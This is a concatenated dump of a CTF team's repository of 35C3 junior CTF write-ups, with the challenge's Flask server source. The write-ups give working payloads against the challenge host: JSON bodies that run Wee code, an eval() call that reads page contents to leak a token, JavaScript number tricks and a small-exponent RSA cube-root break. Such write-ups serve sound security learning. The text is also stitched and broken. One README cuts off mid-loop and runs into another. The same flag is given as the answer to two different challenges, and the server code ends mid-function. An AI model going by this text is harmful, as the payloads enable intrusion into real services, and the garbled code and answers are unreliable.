├── README.md ├── crypto ├── README.md └── decrypted │ └── README.md ├── forensics ├── README.md └── rare_mount │ ├── README.md │ └── ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin ├── misc ├── README.md ├── conversion_error │ └── README.md ├── dev_null │ └── README.md ├── equality_error │ └── README.md ├── layers │ └── README.md ├── number_error │ └── README.md ├── server.py ├── ultra_secret │ ├── README.md │ └── src │ │ ├── Cargo.lock │ │ ├── Cargo.toml │ │ └── src │ │ └── main.rs ├── we_r_leet │ └── README.md ├── wee_token │ └── README.md └── weeterpreter.ts ├── pwn ├── 1996 │ ├── 1996 │ ├── 1996.cpp │ └── README.md ├── README.md └── poet │ ├── README.md │ └── poet ├── scoreboard.png └── web ├── README.md ├── blind └── README.md ├── collider ├── README.md ├── collision1.pdf ├── collision2.pdf └── index.php ├── db_secret ├── README.md └── payload.txt ├── flags └── README.md ├── localhost ├── README.md └── echo.py ├── logged_in └── README.md ├── mcdonald └── README.md ├── not(e)_accessible ├── README.md └── src │ ├── backend │ └── app.rb │ └── frontend │ ├── assets │ ├── css │ │ └── bootstrap.min.css │ └── js │ │ ├── bootstrap.min.js │ │ ├── jquery-3.3.1.slim.min.js │ │ └── popper.min.js │ ├── index.php │ └── view.php ├── not_implemented ├── README.md ├── payload.txt └── pypyjs.html ├── saltfish ├── README.md └── index.php ├── server.py └── weeterpreter.ts /README.md: -------------------------------------------------------------------------------- 1 | # 35c3-ctf 2 | 3 | *This repository contanins documentation of how we've solved some of the 35c3 junior ctf challenges.* 4 | 5 | We've accomplished to finish at rank [**31** out of **529** teams](https://github.com/randombenj/35c3-ctf/blob/master/scoreboard.png) who've all completed at least one challenge. 6 | 7 | You can find a folder for every category and in those one for every challenge including some prerequisites. 8 | 9 | All the challenges can be found on [https://junior.35c3ctf.ccc.ac/challenges/](https://junior.35c3ctf.ccc.ac/challenges/) 10 | 11 | Thanks to the collaborators: 12 | 13 | - [@dev-jan](https://github.com/dev-jan) 14 | - [@eddex](https://github.com/eddex) 15 | - [@timofurrer](https://github.com/timofurrer) 16 | - [@Lextum](https://github.com/Lextum) 17 | -------------------------------------------------------------------------------- /crypto/README.md: -------------------------------------------------------------------------------- 1 | Category Crypto 2 | =============== 3 | -------------------------------------------------------------------------------- /crypto/decrypted/README.md: -------------------------------------------------------------------------------- 1 | # Decrypted 2 | 3 | ## Challange 4 | 5 | **Did you know server-side Wee will supports a variety of crypto operations in the future? How else could Wee ever catch up to other short-named languages like Go or all the Cs? Anyway it's still in testing. If you already want to take it for a spin, try /wee/encryptiontest.** 6 | 7 | `http://35.207.189.79/` 8 | 9 | > Difficulty Estimate: Medium 10 | 11 | Good coders should learn one new language every year. 12 | 13 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV). 14 | 15 | If you have not picked up a new challenge in 2018, you're in for a treat. 16 | 17 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. 18 | 19 | Some cool Projects can be created in Wee, like: this, [this] https://paperbots.io/project.html?id=kpyyrl) and that. 20 | 21 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py. 22 | 23 | Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here). 24 | 25 | We even added new features to this better server, like server-side Wee evaluation! 26 | 27 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. 28 | 29 | ## Solution 30 | 31 | We can see in the [server.py](../server.py) that the secret is encypted with a public key: 32 | 33 | ```python 34 | @app.route("/wee/encryptiontest", methods=["GET"]) 35 | def encryptiontest(): 36 | global encrypted 37 | if not encrypted: 38 | wee = """ 39 | # we use weelang to encrypt secrets completely secret 40 | record pubkey 41 | n: string 42 | e: string 43 | end 44 | var key = pubkey('951477056381671188036079180681828396446164466568923964269373812360568216940258578681673755725586138473475522188240856850626984093905399964041687626629414562063470963902807801143023140969208234239276778397171817582591827008690056789763534174119863046106813515750863733543758319811194784246845138921495556311458180478538856550842509692686396679117903040148607642710832573838027274004952072516749168425434697690016707327002989407014753735313730653189661541750880855213165937564578292464379167857778759136474173425831340306919705672933486711939333953750637729967455118475408369751602538202818190663939706886093046526104043062374288648189070207772477271879494000411582080352364098957455090381238978031676375437980396931371164061080967754225429135119036489128165414029872153856547376448552882344531325480944511714482341088742350110097372766748364926941000441524157824859511557342673524388056049358362600925172299990719998873868038194555465008036497932945812845340638853399732721987228486858193979073913761760370769609347622795498987306822413134236749607735657967667902966667996797241364688793919066445360547749193845825298342626288990158730149727398354192053692360716383851051271618559075048012800235250387837052573541157845958948856954035758915157871993646182544696043757263004887914724250286341123038686355398997399922927237477691269351791943572679717263938613148630387793458838416117454016370454288153779764863162055098229903413503857354581027436855574871814478747237999617879024407403954905986969721336803258774514397600947175650242674193496614652267158753817350136305620268076457813070726099248681642612063203170442453405051455877524709366973062774037044772079720703743828695351198984334830532193564525916901461725538418714517302390850049543856542699391339075976843028654004552169277571339017161697013373622770115406681080294994790626557117129820457988045974009530185622113951540819939983153190486345031549722007896699102268137425607039925174692583738394816628508716999668221820730737934785438568198334912127263127241407430459511422030656861043544813130287622862247904749760983465608684778389799703770877931875268858524702991767450720773677639856979930404508755100624844341829896497906824520180051038779126563860453039035779455387733056343833776802716194138072528278142786901904343407377649000988142255369860324110311816186668720584468851089864315465497405748709976389375632079690963423708940060402561050963276766635011726613211018206198125893007608417148033891841809', '3') 45 | fun encrypt(message: string, key: pubkey): string 46 | return bigModPow(strToBig(message), key.e, key.n) 47 | end 48 | fun get_cypher(key: pubkey): string 49 | var message = '{}' 50 | return encrypt(message, key) 51 | end 52 | 53 | alert(get_cypher(key)) 54 | """.format(DECRYPTED) 55 | encrypted = runwee(wee) 56 | return jsonify({"enc": encrypted}) 57 | ``` 58 | 59 | The cryptography is done by the [weeterpreter.ts](../weeterpreter.ts) using the `bigModPow` function: 60 | 61 | ```typescript 62 | externals.addFunction( 63 | "bigModPow", 64 | [ 65 | {name: "base", type: compiler.StringType}, 66 | {name: "exponent", type: compiler.StringType}, 67 | {name: "modulus", type: compiler.StringType} 68 | ], compiler.StringType, 69 | false, 70 | (base: string, exponent: string, modulus: string) => { 71 | let b = BigInt(base) 72 | let e = BigInt(exponent) 73 | let N = BigInt(modulus) 74 | return eval('""+((b ** e) % N)') // force js since tsc translates ** to Math.Pow... *rolls eyes* 75 | } 76 | ) 77 | ``` 78 | 79 | So basicaly we calculate the following equation: ![equation](https://latex.codecogs.com/gif.latex?b^{e}\bmod&space;N) 80 | 81 | Where: 82 | 83 | - `b` is our secret as a `BigInt` 84 | - `e` is our exponent prime number **3** 85 | - `N` is our public key 86 | 87 | Because we use for `e` such a small number and for `N` a very big publick key, we can simply ignore the modulo operation 88 | and we basicaly have the equation ![equation](https://latex.codecogs.com/gif.latex?b^{e}) without modulo. 89 | 90 | To decrypt the message we simply need to calculate the **cube root** of our encrypted message ![equation](https://latex.codecogs.com/gif.latex?\sqrt[e]{c}) 91 | 92 | Where: 93 | 94 | - `e` is our exponent (cube root) of **3** 95 | - `c` is our 'encrypted' text ![equation](https://latex.codecogs.com/gif.latex?b^{e}) 96 | 97 | We get the encrypted flag from http://35.207.189.79/wee/encryptiontest: 98 | ``` 99 | { 100 | "enc": "650802889626540392576254226480769958677174063746262298961949406725587937603370598056914641680440287141866554424868358513810586735136666559905873773370795301824775736764582520414393058823900835653671443326759384479590622850329114068561701339992264327486363426970702107667234446480134526246514585103292832378240690398119481568246551291749012927947948046185733533974179911092159848587\n" 101 | } 102 | ``` 103 | 104 | calculating the cube root of such a big number is not easy. All common implementations use rounding which gives wrong results. 105 | 106 | Therefore we need to do it the same way as the encryption is done. Chrome has the `BigInt` class that we can use. 107 | 108 | ``` 109 | function cubicRoot(a) 110 | { 111 | let d = Math.floor((a.toString(2).length-1)/3); // binary digits nuber / 3 112 | let r = 2n ** BigInt(d+1); // right boundary approximation 113 | let l = 2n ** BigInt(d); // left boundary approximation 114 | let x=BigInt(l); 115 | let o=BigInt(0); // old historical value 116 | 117 | while(1) { 118 | o = x; 119 | y = x * x * x; 120 | y Difficulty estimate: Medium 10 | 11 | Good coders should learn one new language every year. 12 | 13 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV). 14 | 15 | If you have not picked up a new challenge in 2018, you're in for a treat. 16 | 17 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. 18 | 19 | Some cool Projects can be created in Wee, like: this, this and that. 20 | 21 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py. 22 | 23 | Anything unrelated to the new server is left unchanged from commit `dd059961cbc2b551f81afce6a6177fcf61133292` at badlogics paperbot github (mirrored up to this commit here). 24 | 25 | We even added new features to this better server, like server-side Wee evaluation! 26 | 27 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. 28 | 29 | ## Solution 30 | 31 | We know how the number conversion works by looking at the [weeterpreter.ts](../weeterpreter.ts) file: 32 | 33 | ```typescript 34 | externals.addFunction( 35 | "assert_conversion", 36 | [{name: "str", type: compiler.StringType}], compiler.StringType, 37 | false, 38 | (str: string) => str.length === +str + "".length || !/^[1-9]+(\.[1-9]+)?$/.test(str) 39 | ? "Convert to Pastafarianism" : flags.CONVERSION_ERROR 40 | ) 41 | ``` 42 | 43 | We can now open a `node` repl and try the tests with strings and see that `123` is false for both operations! 44 | 45 | 46 | We can run a **wee command** by creationg a post request to the `http://35.207.189.79/wee/run` url with the following data: 47 | 48 | ```json 49 | { 50 | "code": "alert(assert_conversion('123')))" 51 | } 52 | ``` 53 | 54 | > **token:** 35C3_HOW_DEEP_THE_RABBIT_HOLE_GO3S 55 | -------------------------------------------------------------------------------- /misc/dev_null/README.md: -------------------------------------------------------------------------------- 1 | # Challenge /dev/null 2 | 3 | ## Challenge 4 | 5 | We're not the first but definitely the latest to offer dev-null-as-a-service. Pretty sure we're also the first to offer Wee-piped-to-dev-null-as-a-service[WPtDNaaS]. (We don't pipe anything, but the users don't care). This service is more useful than most blockchains (old joke, we know). Anyway this novel endpoint takes input at /wee/dev/null and returns nothing. 6 | 7 | http://35.207.189.79/ 8 | 9 | > Difficulty Estimate: Hard 10 | 11 | -- 12 | 13 | Good coders should learn one new language every year. 14 | 15 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV). 16 | 17 | If you have not picked up a new challenge in 2018, you're in for a treat. 18 | 19 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. 20 | 21 | Some cool Projects can be created in Wee, like: this, this and that. 22 | 23 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py. 24 | 25 | Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here). 26 | 27 | We even added new features to this better server, like server-side Wee evaluation! 28 | 29 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. 30 | 31 | 32 | ## Solution 33 | 34 | The important code for this challenge from server.py is: 35 | ``` 36 | @app.route("/wee/dev/null", methods=["POST"]) 37 | def dev_null(): 38 | json = request.get_json(force=True) 39 | wee = json["code"] 40 | wee = """ 41 | var DEV_NULL: string = '{}' 42 | {} 43 | """.format(DEV_NULL, wee) 44 | _ = runwee(wee) 45 | return "GONE" 46 | ``` 47 | 48 | There were some issues with the server at some point which cuased the POST request to `http://35.207.189.79/wee/dev/null` to time out. The time out occurred when calling the `runwee()` method and therefore the error message contained the `wee` string. Conveniantely this string contained the flag :) 49 | 50 | Note: The timeout is set to 5 seconds according to the error message (which has not been recorded). Maybe it's possible to send enough commands in the payload to trigger this error.. -------------------------------------------------------------------------------- /misc/equality_error/README.md: -------------------------------------------------------------------------------- 1 | # Challenge Equality Error 2 | 3 | ## Challenge 4 | 5 | At assert_equals(num: number), we've added an assert to make sure our VM properly handles equality. With only a few basic types, it's impossible to mess this one up, so the assertion has never been triggered. In case you do by accident, please report the output. 6 | 7 | http://35.207.189.79/ 8 | 9 | > Difficulty estimate: Medium 10 | 11 | -- 12 | 13 | Good coders should learn one new language every year. 14 | 15 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV). 16 | 17 | If you have not picked up a new challenge in 2018, you're in for a treat. 18 | 19 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. 20 | 21 | Some cool Projects can be created in Wee, like: this, this and that. 22 | 23 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py. 24 | 25 | Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here). 26 | 27 | We even added new features to this better server, like server-side Wee evaluation! 28 | 29 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. 30 | 31 | 32 | ## Solution 33 | 34 | The important code for this challenge from weeterpreter.ts is: 35 | ``` 36 | externals.addFunction( 37 | "assert_equals", 38 | [{name: "num", type: compiler.NumberType}], compiler.StringType, 39 | false, 40 | (num: number) => num === num 41 | ? "EQUALITY WORKS" : flags.EQUALITY_ERROR 42 | ) 43 | ``` 44 | 45 | We're looking for an objects that is not equal to itself to get the flag. Luckily we're using JavaScript. 46 | 47 | We can use NaN (not a number). `NaN == NaN` result in `false`. 48 | The method needs a Number as an input. NaN is not a number and therefore we cannot pass it directly. However a calculation does also count as a number. 49 | 50 | `0/0` is `NaN` in JavaScript. 51 | 52 | A POST request to `http://35.207.189.79/wee/run` with payload `{ "code": "alert(assert_equals(0/0))" }` gives the desired response. 53 | 54 | ``` 55 | { 56 | "code": "alert(assert_equals(0/0))", 57 | "result": "35C3_NANNAN_NANNAN_NANNAN_NANNAN_BATM4N\n" 58 | } 59 | ``` -------------------------------------------------------------------------------- /misc/layers/README.md: -------------------------------------------------------------------------------- 1 | # Layers 2 | 3 | ## Challange 4 | 5 | **An engineer added a special kind of token to our server: the LAYERS token is unique and there is no way to ever extract it. This means, if anybody every searches for it on the internet or submits it here, we know we have, like, a mole, or something. Dunno. Well we believe it cannot be extracted - so don't even bother.** 6 | 7 | [http://35.207.189.79/](http://35.207.189.79/) 8 | 9 | > Difficulty estimate: Hard 10 | 11 | Good coders should learn one new language every year. 12 | 13 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV). 14 | 15 | If you have not picked up a new challenge in 2018, you're in for a treat. 16 | 17 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. 18 | 19 | Some cool Projects can be created in Wee, like: this, this and that. 20 | 21 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py. 22 | 23 | Anything unrelated to the new server is left unchanged from commit `dd059961cbc2b551f81afce6a6177fcf61133292` at badlogics paperbot github (mirrored up to this commit here). 24 | 25 | We even added new features to this better server, like server-side Wee evaluation! 26 | 27 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. 28 | 29 | ## Solution 30 | 31 | We know that we can get javascript code execution, because we could download the [weeterpreter.ts](../weeterpreter.ts) file from the server and 32 | there is an `eval` function in the **wee language interpreter**: 33 | 34 | ```typescript 35 | externals.addFunction( 36 | "eval", 37 | [{name: "expr", type: compiler.StringType}], compiler.StringType, 38 | true, 39 | (expr: string) => { 40 | return wee_eval(expr) 41 | } 42 | ) 43 | ``` 44 | 45 | We know that the `wee_eval` basicaly calls a *puppeteer* `page.evaluate` function which executes javascript. 46 | The `pagePromise` however calls the following evaluation: `await page.evaluate(\`store('${flags.LAYERS}')\`)`. 47 | 48 | We can run a **wee command** by creationg a post request to the `http://35.207.189.79/wee/run` url with the following data: 49 | 50 | ```json 51 | { 52 | "code": "alert(eval('document.body.innerHTML'))" 53 | } 54 | ``` 55 | 56 | This simply reads the whole content of the previously loaded file, which now contains the `LAYERS` flag inserted by the `store` 57 | command in the puppeteer as base64 encoded string. 58 | 59 | > **token:** 35C3_HOW_DEEP_THE_RABBIT_HOLE_GO3S 60 | -------------------------------------------------------------------------------- /misc/number_error/README.md: -------------------------------------------------------------------------------- 1 | # Number Error 2 | 3 | ## Challange 4 | 5 | **The function assert_number(num: number) is merely a debug function for our Wee VM (WeeEm?). It proves additions always work. Just imagine the things that could go wrong if it wouldn't!** 6 | 7 | `http://35.207.189.79/` 8 | 9 | > Difficulty estimate: Easy - Medium 10 | 11 | Good coders should learn one new language every year. 12 | 13 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV). 14 | 15 | If you have not picked up a new challenge in 2018, you're in for a treat. 16 | 17 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. 18 | 19 | Some cool Projects can be created in Wee, like: this, this and that. 20 | 21 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py. 22 | 23 | Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here). 24 | 25 | We even added new features to this better server, like server-side Wee evaluation! 26 | 27 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. 28 | 29 | ## Solution 30 | 31 | In the [weeterpreter.ts](../weeterpreter.ts) sourcecode we can see the `assert_number` function implementation: 32 | 33 | ```typescript 34 | externals.addFunction( 35 | "assert_number", 36 | [{name: "num", type: compiler.NumberType}], compiler.StringType, 37 | false, 38 | (num: number) => !isFinite(num) || isNaN(num) || num !== num + 1 39 | ? "NUMBERS WORK" : flags.NUMBER_ERROR 40 | ) 41 | ``` 42 | 43 | Here we can simply provoke an overflow by passing on a very big number. 44 | We can run a **wee command** by creationg a post request to the `http://35.207.189.79/wee/run` url with the following data: 45 | 46 | ```json 47 | { 48 | "code": "alert(assert_number(11111111111111111111111111111111111111111111))" 49 | } 50 | ``` 51 | 52 | > **token:** 35C3_THE_AMOUNT_OF_INPRECISE_EXCEL_SH33TS 53 | 54 | 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /misc/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import inspect 3 | import os 4 | import random 5 | import sqlite3 6 | import string 7 | import sys 8 | import base64 9 | from html import escape 10 | from urllib import parse 11 | from typing import Union, List, Tuple 12 | import datetime 13 | 14 | from subprocess import STDOUT, check_output 15 | 16 | import requests 17 | from flask import Flask, send_from_directory, send_file, request, Response, g, make_response, jsonify 18 | from flags import DB_SECRET, DECRYPTED, DEV_NULL, LOCALHOST, LOGGED_IN 19 | 20 | STATIC_PATH = "../client/site" 21 | DATABASE = ".paperbots.db" 22 | MIGRATION_PATH = "./db/V1__Create_tables.sql" 23 | THUMBNAIL_PATH = os.path.join(STATIC_PATH, "thumbnails") 24 | WEE_PATH = "../weelang" 25 | WEETERPRETER = "weeterpreter.ts" 26 | WEE_TIMEOUT = 5 27 | 28 | os.makedirs(THUMBNAIL_PATH, exist_ok=True) 29 | 30 | app = Flask(__name__, static_folder=STATIC_PATH, static_url_path="/static") 31 | 32 | encrypted = None 33 | 34 | 35 | def get_db() -> sqlite3.Connection: 36 | db = getattr(g, '_database', None) 37 | if db is None: 38 | db = g._database = sqlite3.connect(DATABASE) 39 | return db 40 | 41 | 42 | def init_db(): 43 | with app.app_context(): 44 | db = get_db() 45 | with open(MIGRATION_PATH, "r") as f: 46 | db.cursor().executescript(f.read()) 47 | db.execute("CREATE TABLE `secrets`(`id` INTEGER PRIMARY KEY AUTOINCREMENT, `secret` varchar(255) NOT NULL)") 48 | db.execute("INSERT INTO secrets(secret) values(?)", (DB_SECRET,)) 49 | db.commit() 50 | 51 | 52 | def query_db(query, args=(), one=True) -> Union[List[Tuple], Tuple, None]: 53 | if not isinstance(args, tuple): 54 | args = (args,) 55 | cur = get_db().execute(query, args) 56 | rv = cur.fetchall() 57 | cur.close() 58 | return (rv[0] if rv else None) if one else rv 59 | 60 | 61 | def user_by_token(token) -> Tuple[int, str, str, str]: 62 | """ 63 | queries and returns userId, username, email, usertype for a given token 64 | :param token: the token 65 | :return: userId, name, email, usertype 66 | """ 67 | if not token: 68 | raise AttributeError("Token must not be empty") 69 | 70 | userId, = query_db("SELECT userId FROM userTokens WHERE token=?", token) # TODO: Join this? 71 | name, email, usertype = query_db("SELECT name, email, type FROM users WHERE id=?", userId) 72 | return userId, name, email, usertype 73 | 74 | 75 | def random_code(length=6) -> str: 76 | return "".join([random.choice(string.ascii_lowercase)[0] for x in range(length)]) 77 | 78 | 79 | def get_code(username): 80 | db = get_db() 81 | c = db.cursor() 82 | userId, = query_db("SELECT id FROM users WHERE name=?", username) 83 | code = random_code() 84 | c.execute("INSERT INTO userCodes(userId, code) VALUES(?, ?)", (userId, code)) 85 | db.commit() 86 | # TODO: Send the code as E-Mail instead :) 87 | return code 88 | 89 | 90 | def jsonify_projects(projects, username, usertype): 91 | return jsonify([ 92 | {"code": x[0], 93 | "userName": x[1], 94 | "title": x[2], 95 | "public": x[3], 96 | "type": x[4], 97 | "lastModified": x[5], 98 | "created": x[6], 99 | "content": x[7] 100 | } for x in projects if usertype == "admin" or x[1] == username or x[3] 101 | ]) 102 | 103 | 104 | @app.teardown_appcontext 105 | def close_connection(exception): 106 | db = getattr(g, '_database', None) 107 | if db is not None: 108 | db.close() 109 | 110 | 111 | # Error handling 112 | @app.errorhandler(404) 113 | def fourohfour(e): 114 | return send_file(os.path.join(STATIC_PATH, "404.html")), 404 115 | 116 | 117 | @app.errorhandler(500) 118 | def fivehundred(e): 119 | return jsonify({"error": str(e)}), 500 120 | 121 | 122 | @app.after_request 123 | def secure(response: Response): 124 | if not request.path[-3:] in ["jpg", "png", "gif"]: 125 | response.headers["X-Frame-Options"] = "SAMEORIGIN" 126 | response.headers["X-Xss-Protection"] = "1; mode=block" 127 | response.headers["X-Content-Type-Options"] = "nosniff" 128 | response.headers["Content-Security-Policy"] = "script-src 'self' 'unsafe-inline';" 129 | response.headers["Referrer-Policy"] = "no-referrer-when-downgrade" 130 | response.headers["Feature-Policy"] = "geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; " \ 131 | "camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; " \ 132 | "fullscreen *; payment 'self'; " 133 | if request.remote_addr == "127.0.0.1": 134 | response.headers["X-Localhost-Token"] = LOCALHOST 135 | 136 | return response 137 | 138 | 139 | @app.route("/", methods=["GET"]) 140 | def main(): 141 | return send_file(os.path.join(STATIC_PATH, "index.html")) 142 | 143 | 144 | @app.route("/kitten.png") 145 | def kitten(): 146 | return send_file(os.path.join(STATIC_PATH, "img/kitten.png")) 147 | 148 | 149 | # The actual page 150 | @app.route("/", methods=["GET"]) 151 | def papercontents(filename): 152 | return send_from_directory(STATIC_PATH, filename) 153 | 154 | 155 | @app.route("/api/signup", methods=["POST"]) 156 | def signup(): 157 | usertype = "user" 158 | json = request.get_json(force=True) 159 | name = escape(json["name"].strip()) 160 | email = json["email"].strip() 161 | if len(name) == 0: 162 | raise Exception("InvalidUserName") 163 | if len(email) == 0: 164 | raise Exception("InvalidEmailAddress") 165 | if not len(email.split("@")) == 2: 166 | raise Exception("InvalidEmailAddress") 167 | email = escape(email.strip()) 168 | # Make sure the user name is 4-25 letters/digits only. 169 | if len(name) < 4 or len(name) > 25: 170 | raise Exception("InvalidUserName") 171 | 172 | if not all([x in string.ascii_letters or x in string.digits for x in name]): 173 | raise Exception("InvalidUserName") 174 | # Check if name exists 175 | if query_db("SELECT name FROM users WHERE name=?", name): 176 | raise Exception("UserExists") 177 | if query_db("Select id, name FROM users WHERE email=?", email): 178 | raise Exception("EmailExists") 179 | # Insert user // TODO: implement the verification email 180 | db = get_db() 181 | c = db.cursor() 182 | c.execute("INSERT INTO users(name, email, type) values(?, ?, ?)", (name, email, usertype)) 183 | db.commit() 184 | return jsonify({"success": True}) 185 | 186 | 187 | @app.route("/api/login", methods=["POST"]) 188 | def login(): 189 | print("Logging in?") 190 | # TODO Send Mail 191 | json = request.get_json(force=True) 192 | login = json["email"].strip() 193 | try: 194 | userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login)) 195 | except Exception as ex: 196 | raise Exception("UserDoesNotExist") 197 | return get_code(name) 198 | 199 | 200 | @app.route("/api/verify", methods=["POST"]) 201 | def verify(): 202 | code = request.get_json(force=True)["code"].strip() 203 | if not code: 204 | raise Exception("CouldNotVerifyCode") 205 | userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code) 206 | db = get_db() 207 | c = db.cursor() 208 | c.execute("DELETE FROM userCodes WHERE userId=?", (userid,)) 209 | token = random_code(32) 210 | c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token)) 211 | db.commit() 212 | name, = query_db("SELECT name FROM users WHERE id=?", (userid,)) 213 | resp = make_response() 214 | resp.set_cookie("token", token, max_age=2 ** 31 - 1) 215 | resp.set_cookie("name", name, max_age=2 ** 31 - 1) 216 | resp.set_cookie("logged_in", LOGGED_IN) 217 | return resp 218 | 219 | 220 | @app.route("/api/logout", methods=["POST"]) 221 | def logout(): 222 | request.cookies.get("token") 223 | resp = make_response() 224 | resp.set_cookie("token", "") 225 | resp.set_cookie("name", "") 226 | resp.set_cookie("logged_in", "") 227 | return resp 228 | 229 | 230 | @app.route("/api/getproject", methods=["POST"]) 231 | def getproject(): 232 | # TODO: Do. 233 | project_id = request.get_json(force=True)["projectId"] 234 | token = request.cookies.get("token") 235 | try: 236 | userId, name, email, usertype = user_by_token(token) 237 | except AttributeError: 238 | name = "" 239 | usertype = "user" 240 | project = query_db("SELECT code, userName, title, description, content, public, type, lastModified, created " 241 | "FROM projects WHERE code=?", (project_id,)) 242 | if not project or (not project[5] and not name == project[1] and not usertype == "admin"): 243 | raise Exception("ProjectDoesNotExist") 244 | return jsonify({ 245 | "code": project[0], 246 | "userName": project[1], 247 | "title": project[2], 248 | "description": project[3], 249 | "content": project[4], 250 | "public": project[5], 251 | "type": project[6], 252 | "lastModified": project[7], 253 | "created": project[8] 254 | }) 255 | 256 | 257 | @app.route("/api/getprojects", methods=["POST"]) 258 | def getuserprojects(): 259 | username = request.get_json(force=True)["userName"] 260 | projects = query_db("SELECT code, userName, title, public, type, lastModified, created, content " 261 | "FROM projects WHERE userName=? ORDER BY lastModified DESC", (username), False) 262 | name = "" 263 | usertype = "user" 264 | if "token" in request.cookies: 265 | userId, name, email, usertype = user_by_token(request.cookies["token"]) 266 | return jsonify_projects(projects, name, usertype) 267 | 268 | 269 | @app.route("/api/saveproject", methods=["POST"]) 270 | def saveproject(): 271 | json = request.get_json(force=True) 272 | name = request.cookies["name"] 273 | token = request.cookies["token"] 274 | # TODO String projectId = paperbots.saveProject(ctx.cookie("token"), request.getCode(), request.getTitle(), request.getDescription(), request.getContent(), request.isPublic(), request.getType()); 275 | userId, username, email, usertype = user_by_token(token) 276 | 277 | db = get_db() 278 | c = db.cursor() 279 | 280 | if not json["code"]: 281 | project_id = random_code(6) 282 | 283 | c.execute( 284 | "INSERT INTO projects(userId, userName, code, title, description, content, public, type) " 285 | "VALUES(?,?,?,?,?,?,?,?)", 286 | (userId, username, project_id, 287 | escape(json["title"]), escape(json["description"]), json["content"], True, json["type"])) 288 | db.commit() 289 | return jsonify({"projectId": project_id}) 290 | else: 291 | c.execute("UPDATE projects SET title=?, description=?, content=?, public=? WHERE code=? AND userId=?", 292 | (escape(json["title"]), escape(json["description"]), json["content"], True, json["code"], 293 | userId) 294 | ) 295 | db.commit() 296 | return jsonify({"projectId": json["code"]}) 297 | 298 | 299 | @app.route("/api/savethumbnail", methods=["POST"]) 300 | def savethumbnail(): 301 | name = request.cookies["name"] 302 | token = request.cookies["token"] 303 | userId, username, email, usertype = user_by_token(token) 304 | 305 | json = request.get_json(force=True) 306 | thumbnail = json["thumbnail"] # type: str 307 | project_id = json["projectId"] 308 | if not thumbnail.startswith("data:image/png;base64,"): 309 | raise Exception("Hacker") 310 | thumbnail = thumbnail[len("data:image/png;base64,"):].encode("ascii") 311 | decoded = base64.b64decode(thumbnail) 312 | project_username, = query_db("SELECT userName FROM projects WHERE code=?", (project_id,)) 313 | if project_username != username: 314 | raise Exception("Hack on WeeLang, not the Server!") 315 | with open(os.path.join(THUMBNAIL_PATH, "{}.png".format(project_id)), "wb+") as f: 316 | f.write(decoded) 317 | return jsonify({"projectId": project_id}) 318 | 319 | 320 | @app.route("/api/deleteproject", methods=["POST"]) 321 | def deleteproject(): 322 | name = request.cookies["name"] 323 | token = request.cookies["token"] 324 | userid, username, email, usertype = user_by_token(token) 325 | json = request.get_json(force=True) 326 | projectid = json["projectId"] 327 | project_username = query_db("SELECT userName FROM projects WHERE code=?", (projectid,)) 328 | if project_username != username and usertype != "admin": 329 | raise Exception("Nope") 330 | db = get_db() 331 | c = db.cursor() 332 | c.execute("DELETE FROM projects WHERE code=?", (projectid,)) 333 | db.commit() 334 | # raise Exception("The Internet Never Forgets") 335 | return 